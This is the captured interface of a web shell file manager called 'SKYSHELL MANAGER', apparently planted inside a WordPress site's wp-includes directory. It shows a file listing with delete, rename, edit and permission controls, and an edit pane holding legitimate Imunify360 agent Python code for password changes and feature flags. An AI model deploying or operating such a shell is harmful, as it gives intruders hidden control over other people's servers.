📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
terracebizon
/
public_html
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
12934.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: __init__.py
import functools import logging import os import pwd import secrets import shutil import string import subprocess from pathlib import Path from typing import Any, Callable, Type from defence360agent.internals.feature_flags import is_enabled as is_ff_enabled import yaml from defence360agent.utils import LazyLock logger = logging.getLogger(__name__) MIN_TENANT_UID = 1000 # Reserved accounts that the password-reset RPCs must never target. Kept in # sync with the proxy-side IsSystemUsername blocklist in src/proxy/auth/jwt.go. SYSTEM_USERNAMES = frozenset( { "root", "daemon", "bin", "sys", "adm", "nobody", "_imunify", "mysql", "postgres", "redis", "memcached", "apache", "nginx", "httpd", "www-data", "www", "postfix", "mail", "mailman", "dovecot", "named", "bind", "dnsmasq", "nscd", "dbus", "polkitd", "chrony", "ntp", "sshd", "ftp", "vsftpd", "proftpd", "sync", "shutdown", "halt", "games", "operator", "lp", "news", "uucp", "man", "squid", "clamav", "clamupdate", "clamscan", "cpanel", "cpaneleximfilter", "cpses", "diradmin", "plesk", "psaadm", "psaftp", "varnish", "haproxy", "docker", "containerd", "systemd-network", "systemd-resolve", "systemd-timesync", } ) _MERGED_CONFIG_PATH = Path( "/etc/sysconfig/imunify360/imunify360-merged.config" ) class RulesLock(LazyLock): pass class ModSecLock(LazyLock): pass def return_value_on_error(error: Type[Exception], value: Any) -> Callable: """ Decorator that causes coroutine to return *value* if it raises *error*. For example: return await return_value_on_error(FileNotFoundError, X)(coro)(*args) is equivalent to: try: return await coro(*args) except FileNotFoundError: return X """ def decorator(coro): @functools.wraps(coro) async def wrapper(*args, **kwargs): try: return await coro(*args, **kwargs) except error as e: logger.info("Replacing %s from %s with %s", e, coro, value) return value return wrapper return decorator class PasswordChangeError(Exception): def __init__(self, stderr, returncode): super().__init__( f"Password change process exited with code {returncode}: {stderr}" ) def generate_strong_password( length=20, required_char_groups=( string.ascii_lowercase, string.ascii_uppercase, string.digits, string.punctuation, ), ): """ Return password with *length* char. It is guaranteed that password have at least one character from each given *required_char_groups* """ if length < len(required_char_groups): raise ValueError( f"Given {length=} is too short. " "Can't get chars from all required groups " f"{len(required_char_groups)=}" ) assert all( map( len, required_char_groups, ) ), "got empty char group" alphabet = "".join(required_char_groups) while True: # generate password with given *length* # take characters from *alphabet* randomly # (uniformly/with equal probability) password = "".join([secrets.choice(alphabet) for _ in range(length)]) # retry if the password is missing some required char groups if all( any(c in group for c in password) for group in required_char_groups ): return password def _assert_non_system_user(username): from defence360agent.rpc_tools import ValidationError if not username or username.lower() in SYSTEM_USERNAMES: logger.warning( "Rejected password change for reserved account %r", username ) raise ValidationError( "Refusing to change password for reserved system " f"account: {username!r}" ) try: uid = pwd.getpwnam(username).pw_uid except KeyError: return if uid < MIN_TENANT_UID: logger.warning( "Rejected password change for non-tenant account %r (uid %d)", username, uid, ) raise ValidationError( "Refusing to change password for non-tenant account " f"(uid {uid} < {MIN_TENANT_UID}): {username!r}" ) def change_system_password(username, new_password, *, passwd_cmd=None): _assert_non_system_user(username) if passwd_cmd is None: passwd_cmd = [shutil.which("passwd", path=os.defpath)] assert isinstance(passwd_cmd, list) try: subprocess.run( [*passwd_cmd, username], input=b"\n".join([new_password.encode()] * 2), capture_output=True, check=True, ) except subprocess.CalledProcessError as e: raise PasswordChangeError(e.stderr, e.returncode) def is_apache2nginx_enabled() -> bool: """Check if apache2nginx is enabled by reading /var/lib/apache2nginx/state.""" state_file = Path("/var/lib/apache2nginx/state") if state_file.is_file(): try: content = state_file.read_text().strip() return content == "on" except OSError: logger.exception("Failed to read apache2nginx state file") return False def _use_feature_flags_from_yaml() -> bool: # Read WEBSHIELD.use_feature_flags directly from the merged config YAML # instead of going through the Webshield.USE_FEATURE_FLAGS FromConfig # descriptor. Reading the descriptor is what we'd normally do, but in # this code path it would cause unbounded recursion at agent startup: # # use_coraza4cpanel() # -> Webshield.USE_FEATURE_FLAGS # FromConfig.__get__ # -> config_to_dict() # -> cerberus Validator.normalized() # normalizes the # whole schema, including FIREWALL # -> default_setter lambda for the # firewall.py:70 # FIREWALL.TCP_IN_IPv4 etc. ports # -> get_default_ports() # firewall.py:28 # -> HostingPanel().OPEN_PORTS # -> get_hosting_panel() # -> cPanel.__new__() # cpanel/panel.py:100 # -> use_coraza4cpanel() # <-- back to start # # The cycle exists because HostingPanel ports defaults are resolved # lazily through HostingPanel() at normalization time, and cPanel's # __new__ branches on use_coraza4cpanel() to decide whether to return # the Coraza-flavored subclass. Adding a config dependency inside # use_coraza4cpanel closed the loop. # # Reading the YAML directly skips cerberus normalization and breaks the # cycle. The merged config is the file the agent writes after merging # defaults with user overrides, so it reflects the effective value the # descriptor would have returned. If the file is missing (fresh install, # or pre-feature-flags agent that hasn't rewritten it yet), we fall back # to True to match the schema default. try: with _MERGED_CONFIG_PATH.open() as fp: merged = yaml.safe_load(fp) or {} except FileNotFoundError: return True except (OSError, yaml.YAMLError) as error: logger.warning( "Failed to read %s: %s; assuming use_feature_flags=True", _MERGED_CONFIG_PATH, error, ) return True return merged.get("WEBSHIELD", {}).get("use_feature_flags", True) def _feature_flag_enabled(flag_name: str) -> bool: if not _use_feature_flags_from_yaml(): return False return is_ff_enabled(flag_name, default=False) def use_coraza4cpanel() -> bool: return _feature_flag_enabled("coraza_for_cpanel_apache") def coraza_for_cloudways_hybrid_flag() -> bool: return _feature_flag_enabled("coraza_for_cloudways_hybrid")
Save